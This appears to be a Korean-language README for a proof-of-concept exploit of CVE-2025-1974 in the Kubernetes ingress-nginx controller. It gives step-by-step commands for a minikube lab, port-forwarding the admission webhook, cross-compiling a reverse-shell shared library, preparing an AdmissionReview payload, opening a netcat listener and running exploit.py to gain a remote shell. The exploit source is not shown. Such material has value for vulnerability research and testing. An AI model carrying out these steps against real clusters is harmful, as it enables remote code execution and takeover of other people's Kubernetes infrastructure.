
CVE-2025-1974 PoC 코드
로컬 테스트를 위해 minikube를 설치
minikube start --driver=docker
아래 명령어로 ingress-nginx-controller를 구성
kubectl apply -f ingress-nginx-controller.yml
Pods가 잘 동작하고잇는지 확인
kubectl get pods -n ingress-nginx
kubectl describe <pod name> -n ingress-nginx
Pods의 80, 8443(webhook)포트를 로컬의 8888, 1337 포트로 포트포워딩 (포트포워딩 80, 8443 모두 필요)
kubectl port-forward -n ingress-nginx <pod name> 8888:80
kubectl port-forward -n ingress-nginx <pod name> 1337:8443
rev_shell.c 에서 리버스쉘을 연결한 IP, Port 변경
MacOS(arm64)환경에서 컴파일, 테스트할 환경에 맞게 컴파일 필요
aarch64-linux-gnu-gcc -shared -fPIC -o rev_shell.so rev_shell.c
# 크로스컴파일러 설치
brew tap messense/macos-cross-toolchains
brew install aarch64-linux-gnu
kube-review로 AdmissionReview 형태로 변환 (json)
./kube-review-darwin-arm64 create admission_test.yml > admission_review_req_body.json
리버스쉘을 위해 nc로 리버스쉘 연결 준비
nc -lv 4444
exploit.py에서 nginx, webhook의 host 및 port를 수정 후 실행
python3 exploit.py
